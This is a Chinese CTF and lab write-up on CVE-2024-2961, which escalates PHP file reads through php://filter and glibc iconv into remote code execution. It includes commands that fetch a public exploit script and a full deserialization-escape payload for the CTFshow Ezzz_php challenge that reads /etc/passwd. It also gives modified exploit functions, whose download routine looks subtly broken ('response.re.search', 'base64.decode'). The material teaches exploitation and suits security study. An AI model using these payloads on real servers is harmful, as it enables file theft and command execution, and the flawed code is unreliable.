简单介绍
PHP利用glibc iconv()中的一个缓冲区溢出漏洞,实现将文件读取提升为任意命令执行漏洞
在php读取文件的时候可以使用 php://filter伪协议利用 iconv 函数, 从而可以利用该漏洞进行 RCE
漏洞的利用场景
PHP的所有标准文件读取操作都受到了影响:file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等。文件写入操作同样受到影响(如file_put_contents()及其同类函数).
其他利用场景; 其他文件读写相关操作只要支持php://filter伪协议都可以利用。包括XXE、new $_GET['cls']($_GET['argument']);
这种场景,都可以使用这个trick进行利用
简单复现利用
vulhub复现地址:https://github.com/vulhub/vulhub/tree/master/php/CVE-2024-2961
搭建好后打开会发现有一个报错, 因为开始我们的file是没有传参的, 所以稍微修改一下index.php的内容
<?php
if(isset($_POST['file'])){
$data = file_get_contents($_POST['file']);
echo "File contents: $data";}
可以发现是可以进行读取文件的, 接下来就是尝试进行RCE的利用了
安装依赖
需要有python3的环境
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
然后从https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
地址下载POC并执行
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
然后访问网站相应的路由就可以进行 RCE了
CTFshow 西瓜杯 Ezzz_php
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}
审计代码, 我们最终需要利用到 file_get_contents
函数 从文件读取到RCE
前面就是php的反序列化逃逸的问题 利用 mb_substr和mb_strpos 执行存在差异去绕过
简单说就是
%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉前三位
%f0配合任意的三个字符结合%9f就可以达到字符串逃逸
具体可以看:https://www.cnblogs.com/gxngxngxn/p/18187578
通过构造payload可以进行一个任意文件的读取
?start=aaaaaaaaaa&read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:11:"/etc/passwd";}
接下来就是 将任意文件读取提升为远程代码执行
利用原作者的exp, 修改一下send和download即可
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'
payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")
filename_len = "a" * (len(path) + 10)
url = self.url+f"?start={filename_len}&read={payload}"
return self.session.get(url)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)
return base64.decode(data)
访问到相应路由执行命令
参考文章
https://xz.aliyun.com/t/15549?time__1311=Gqjxn7itGQeWqGNDQiiQGkDuW1wfhTbnbD&u_atoken=147e8471b0a897eb857599898fc3e5ae&u_asig=0a472f9217315824068385990e003a```